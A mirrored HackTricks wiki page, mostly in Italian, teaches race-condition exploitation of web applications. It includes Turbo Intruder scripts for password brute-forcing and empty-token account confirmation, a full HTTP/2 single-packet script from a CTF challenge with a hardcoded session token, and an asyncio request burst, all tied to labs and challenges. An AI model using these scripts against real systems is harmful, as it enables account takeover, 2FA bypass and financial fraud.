mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
397 lines
21 KiB
Markdown
397 lines
21 KiB
Markdown
# Race Condition
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
> [!WARNING]
|
||
> Per ottenere una comprensione approfondita di questa tecnica, consulta il report originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
|
||
## Miglioramento degli attacchi Race Condition
|
||
|
||
Il principale ostacolo nello sfruttare le race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con una differenza di tempo di elaborazione **molto ridotta — idealmente, inferiore a 1ms**.
|
||
|
||
Qui trovi alcune tecniche per sincronizzare le richieste:
|
||
|
||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||
|
||
- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del network jitter. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition consistente.
|
||
- **HTTP/1.1 'Last-Byte Sync'**: Permette di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento che viene poi inviato insieme, ottenendo l'arrivo simultaneo al server.
|
||
|
||
**Preparazione per Last-Byte Sync** comprende:
|
||
|
||
1. Inviare header e body meno l'ultimo byte senza chiudere lo stream.
|
||
2. Mettere in pausa per 100ms dopo l'invio iniziale.
|
||
3. Disabilitare TCP_NODELAY per utilizzare Nagle's algorithm e batchare i frame finali.
|
||
4. Eseguire ping per scaldare la connessione.
|
||
|
||
L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile con Wireshark. Questo metodo non si applica ai file statici, che tipicamente non sono coinvolti negli attacchi RC.
|
||
|
||
### Adattarsi all'architettura del server
|
||
|
||
Capire l'architettura del target è cruciale. I front-end server potrebbero instradare le richieste in modo diverso, influenzando i tempi. Riscaldare preventivamente le connessioni lato server, tramite richieste inconsequenziali, può normalizzare i tempi delle richieste.
|
||
|
||
#### Gestire il locking basato sulla sessione
|
||
|
||
Framework come il session handler di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.
|
||
|
||
#### Superare limiti di rate o di risorse
|
||
|
||
Se il warming della connessione non funziona, indurre intenzionalmente ritardi sui web server attraverso un flood di richieste dummy può facilitare il single-packet attack creando un ritardo lato server favorevole alle race condition.
|
||
|
||
## Esempi di attacco
|
||
|
||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Puoi inviare la richiesta a **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), puoi cambiare nella request il valore che vuoi brute-forceare per **`%s`** come in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e poi selezionare lo **`examples/race-single-packer-attack.py`** dal menu a tendina:
|
||
|
||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Se hai intenzione di **inviare valori diversi**, puoi modificare il codice con questo che usa una wordlist dalla clipboard:
|
||
```python
|
||
passwords = wordlists.clipboard
|
||
for password in passwords:
|
||
engine.queue(target.req, password, gate='race1')
|
||
```
|
||
> [!WARNING]
|
||
> Se il web non supporta HTTP2 (solo HTTP1.1) usa `Engine.THREADED` o `Engine.BURP` invece di `Engine.BURP2`.
|
||
|
||
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Nel caso tu debba inviare una richiesta a un endpoint e poi più richieste ad altri endpoint per innescare la RCE, puoi modificare lo script `race-single-packet-attack.py` con qualcosa del genere:
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=1,
|
||
engine=Engine.BURP2
|
||
)
|
||
|
||
# Hardcode the second request for the RC
|
||
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
||
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
||
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
||
Content-Length: 0
|
||
|
||
'''
|
||
|
||
# For each attempt (20 in total) send 50 confirmation requests.
|
||
for attempt in range(20):
|
||
currentAttempt = str(attempt)
|
||
username = 'aUser' + currentAttempt
|
||
|
||
# queue a single registration request
|
||
engine.queue(target.req, username, gate=currentAttempt)
|
||
|
||
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
||
for i in range(50):
|
||
engine.queue(confirmationReq, gate=currentAttempt)
|
||
|
||
# send all the queued requests for this attempt
|
||
engine.openGate(currentAttempt)
|
||
```
|
||
- È anche disponibile in **Repeater** tramite la nuova opzione '**Send group in parallel**' in Burp Suite.
|
||
- Per **limit-overrun** puoi semplicemente aggiungere **the same request 50 times** nel gruppo.
|
||
- Per **connection warming**, potresti **add** all'**beginning** del **group** alcune **requests** verso qualche parte non statica del web server.
|
||
- Per **delaying** il processo **between** l'elaborazione di **one request and another** in una procedura a 2 substates, potresti **add extra requests between** le due **requests**.
|
||
- Per una **multi-endpoint** RC potresti iniziare a inviare la **request** che **goes to the hidden state** e poi **50 requests** subito dopo che **exploits the hidden state**.
|
||
|
||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
- **Automated python script**: Lo scopo di questo script è cambiare l'email di un utente mentre la verifica continuamente fino a quando il verification token della nuova email non arriva alla vecchia email (questo perché nel codice si osservava una RC in cui era possibile modificare un'email ma far inviare la verification alla vecchia, perché la variabile che indica l'email era già popolata con la prima).\
|
||
Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il verification token dell'email modificata e terminiamo l'attacco.
|
||
```python
|
||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||
# Script from victor to solve a HTB challenge
|
||
from h2spacex import H2OnTlsConnection
|
||
from time import sleep
|
||
from h2spacex import h2_frames
|
||
import requests
|
||
|
||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||
|
||
# change these headers
|
||
|
||
headersObjetivo= """accept: */*
|
||
content-type: application/x-www-form-urlencoded
|
||
Cookie: """+cookie+"""
|
||
Content-Length: 112
|
||
"""
|
||
|
||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||
|
||
headersVerification= """Content-Length: 1
|
||
Cookie: """+cookie+"""
|
||
"""
|
||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||
|
||
host = "94.237.56.46"
|
||
puerto =39697
|
||
|
||
|
||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||
|
||
response = requests.get(url, verify=False)
|
||
|
||
|
||
while "objetivo" not in response.text:
|
||
|
||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||
|
||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||
#print(response.text)
|
||
# change this host name to new generated one
|
||
|
||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||
|
||
print(responseReset.status_code)
|
||
|
||
h2_conn = H2OnTlsConnection(
|
||
hostname=host,
|
||
port_number=puerto
|
||
)
|
||
|
||
h2_conn.setup_connection()
|
||
|
||
try_num = 100
|
||
|
||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||
|
||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||
all_data_frames = [] # all data frames which contain the last byte
|
||
|
||
|
||
for i in range(0, try_num):
|
||
last_data_frame_with_last_byte=''
|
||
if i == try_num/2:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||
method='POST',
|
||
headers_string=headersObjetivo,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=bodyObjetivo,
|
||
path='/challenge/api/profile'
|
||
)
|
||
else:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||
method='GET',
|
||
headers_string=headersVerification,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=".",
|
||
path='/challenge/api/sendVerification'
|
||
)
|
||
|
||
all_headers_frames.append(header_frames_without_last_byte)
|
||
all_data_frames.append(last_data_frame_with_last_byte)
|
||
|
||
|
||
# concatenate all headers bytes
|
||
temp_headers_bytes = b''
|
||
for h in all_headers_frames:
|
||
temp_headers_bytes += bytes(h)
|
||
|
||
# concatenate all data frames which have last byte
|
||
temp_data_bytes = b''
|
||
for d in all_data_frames:
|
||
temp_data_bytes += bytes(d)
|
||
|
||
h2_conn.send_bytes(temp_headers_bytes)
|
||
|
||
# wait some time
|
||
sleep(0.1)
|
||
|
||
# send ping frame to warm up connection
|
||
h2_conn.send_ping_frame()
|
||
|
||
# send remaining data frames
|
||
h2_conn.send_bytes(temp_data_bytes)
|
||
|
||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||
frame_parser.add_frames(resp)
|
||
frame_parser.show_response_of_sent_requests()
|
||
|
||
print('---')
|
||
|
||
sleep(3)
|
||
h2_conn.close_connection()
|
||
|
||
response = requests.get(url, verify=False)
|
||
```
|
||
#### Turbo Intruder: engine and gating notes
|
||
|
||
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
|
||
- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
|
||
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
|
||
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
|
||
|
||
|
||
### Improving Single Packet Attack
|
||
|
||
Nella ricerca originale viene spiegato che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), viene mostrato come sia possibile estendere la limitazione di 1.500 byte della single packet attack fino al **limite di finestra di TCP di 65.535 B utilizzando la frammentazione a livello IP** (splitting a single packet into multiple IP packets) e inviando i frammenti in ordine diverso, consentendo di evitare il riassemblaggio del pacchetto fino a quando tutti i frammenti non sono stati ricevuti dal server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms.
|
||
|
||
Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiedono centinaia/migliaia di pacchetti che arrivino contemporaneamente, potrebbe presentare anche alcune limitazioni software. Alcuni popolari server HTTP come Apache, Nginx e Go hanno un'impostazione `SETTINGS_MAX_CONCURRENT_STREAMS` rigida rispettivamente a 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 la hanno illimitata.\
|
||
Questo sostanzialmente significa che Apache considererà soltanto 100 connessioni HTTP da una singola connessione TCP (limitando questo RC attack).
|
||
|
||
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||
|
||
## Raw BF
|
||
|
||
Prima della ricerca precedente, questi erano alcuni payload usati che semplicemente cercavano di inviare i pacchetti il più velocemente possibile per causare una RC.
|
||
|
||
- **Repeater:** Check the examples from the previous section.
|
||
- **Intruder**: Invia la **request** a **Intruder**, imposta il **number of threads** a **30** dentro il **Options menu**, seleziona come payload **Null payloads** e genera **30.**
|
||
- **Turbo Intruder**
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=5,
|
||
requestsPerConnection=1,
|
||
pipeline=False
|
||
)
|
||
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
for i in range(len(a)):
|
||
engine.queue(target.req,a[i], gate='race1')
|
||
# open TCP connections and send partial requests
|
||
engine.start(timeout=10)
|
||
engine.openGate('race1')
|
||
engine.complete(timeout=60)
|
||
|
||
def handleResponse(req, interesting):
|
||
table.add(req)
|
||
```
|
||
- **Python - asyncio**
|
||
```python
|
||
import asyncio
|
||
import httpx
|
||
|
||
async def use_code(client):
|
||
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
return resp.text
|
||
|
||
async def main():
|
||
async with httpx.AsyncClient() as client:
|
||
tasks = []
|
||
for _ in range(20): #20 times
|
||
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
||
# Get responses
|
||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
||
# Print results
|
||
for r in results:
|
||
print(r)
|
||
|
||
# Async2sync sleep
|
||
await asyncio.sleep(0.5)
|
||
print(results)
|
||
|
||
asyncio.run(main())
|
||
```
|
||
## **RC Methodology**
|
||
|
||
### Limit-overrun / TOCTOU
|
||
|
||
Questo è il tipo più basilare di race condition in cui **vulnerabilities** **appaiono** in punti che **limitano il numero di volte in cui puoi eseguire un'azione**. Come usare lo stesso codice sconto più volte in un negozio online. Un esempio molto semplice si trova in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o in [**this bug**](https://hackerone.com/reports/759247)**.**
|
||
|
||
There are many variations of this kind of attack, including:
|
||
|
||
- Riscattare una gift card più volte
|
||
- Valutare un prodotto più volte
|
||
- Prelevare o trasferire denaro oltre il saldo del tuo account
|
||
- Riutilizzare la stessa soluzione CAPTCHA
|
||
- Bypassare un anti-brute-force rate limit
|
||
|
||
### **Hidden substates**
|
||
|
||
Sfruttare race condition complesse spesso comporta approfittare di brevi opportunità per interagire con sottostati nascosti o **unintended machine substates**. Ecco come procedere:
|
||
|
||
1. **Identify Potential Hidden Substates**
|
||
- Inizia individuando gli endpoints che modificano o interagiscono con dati critici, come user profiles o password reset processes. Concentrati su:
|
||
- **Storage**: Preferisci gli endpoints che manipolano server-side persistent data rispetto a quelli che gestiscono dati client-side.
|
||
- **Action**: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
|
||
- **Keying**: Gli attacchi di successo di solito coinvolgono operazioni keyed sullo stesso identifier, es. username o reset token.
|
||
2. **Conduct Initial Probing**
|
||
- Testa gli endpoints identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerability.
|
||
3. **Demonstrate the Vulnerability**
|
||
- Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerability, spesso solo due. Questo passaggio può richiedere tentativi multipli o automazione a causa della precisa temporizzazione richiesta.
|
||
|
||
### Time Sensitive Attacks
|
||
|
||
La precisione nella temporizzazione delle richieste può rivelare vulnerabilità, specialmente quando si usano metodi prevedibili come timestamps per security tokens. Per esempio, generare password reset tokens basati su timestamps potrebbe permettere token identici per richieste simultanee.
|
||
|
||
**To Exploit:**
|
||
|
||
- Usa una temporizzazione precisa, come un single packet attack, per effettuare concurrent password reset requests. Token identici indicano una vulnerability.
|
||
|
||
**Example:**
|
||
|
||
- Richiedi due password reset tokens nello stesso momento e confrontali. Token corrispondenti suggeriscono una falla nella generazione dei token.
|
||
|
||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||
|
||
## Hidden substates case studies
|
||
|
||
### Pay & add an Item
|
||
|
||
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
|
||
|
||
### Confirm other emails
|
||
|
||
L'idea è di **verify an email address and change it to a different one at the same time** per scoprire se la piattaforma verifica la nuova email cambiata.
|
||
|
||
### Change email to 2 emails addresses Cookie based
|
||
|
||
Secondo [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerabile a un takeover in questo modo perché potrebbe **send** the **email verification token of one email to the other email**.
|
||
|
||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||
|
||
### Hidden Database states / Confirmation Bypass
|
||
|
||
Se **2 different writes** sono usate per **add** **information** dentro un **database**, esiste una piccola porzione di tempo in cui **solo il primo dato è stato scritto** nel database. Per esempio, quando si crea un utente lo **username** e la **password** potrebbero essere **written** e poi il token per confermare il nuovo account viene scritto. Questo significa che per un breve periodo il **token to confirm an account is null**.
|
||
|
||
Pertanto **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) per confermare immediatamente l'account potrebbe permettere di c**onfermare un account** dove non controlli l'email.
|
||
|
||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||
|
||
### Bypass 2FA
|
||
|
||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||
```python
|
||
session['userid'] = user.userid
|
||
if user.mfa_enabled:
|
||
session['enforce_mfa'] = True
|
||
# generate and send MFA code to user
|
||
# redirect browser to MFA code entry form
|
||
```
|
||
### OAuth2 persistena eterna
|
||
|
||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permettono di creare un'applicazione e autenticare gli utenti che il provider ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **OAUth provider**.\
|
||
Quindi, fino a qui è solo un login comune con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||
|
||
#### Race Condition in `authorization_code`
|
||
|
||
Il **problema** si presenta quando **accetti** e viene automaticamente inviato un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel servizio OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dallo **`authorization_code`** per il tuo account. Fondamentalmente, abuserà del fatto che hai accettato che l'applicazione acceda ai tuoi dati per **creare diversi account**. Quindi, se **smetti di permettere all'applicazione di accedere ai tuoi dati**, una coppia di AT/RT verrà cancellata, ma le altre rimarranno comunque valide.
|
||
|
||
#### Race Condition in `Refresh Token`
|
||
|
||
Una volta ottenuto un RT valido potresti provare ad **abusarne per generare diversi AT/RT** e **anche se l'utente revoca i permessi** per l'applicazione malevola di accedere ai suoi dati, **diversi RT rimarranno comunque validi.**
|
||
|
||
## **RC in WebSockets**
|
||
|
||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) puoi trovare una PoC in Java per inviare messaggi websocket in **parallelo** e sfruttare **Race Conditions anche in Web Sockets**.
|
||
- Con WebSocket Turbo Intruder di Burp puoi usare il motore **THREADED** per avviare più connessioni WS e inviare payload in parallelo. Parti dall'esempio ufficiale e regola `config()` (thread count) per la concorrenza; questo è spesso più affidabile rispetto al batching su una singola connessione quando si gareggia con lo stato lato server attraverso gli handler WS. Vedi [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||
|
||
## References
|
||
|
||
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|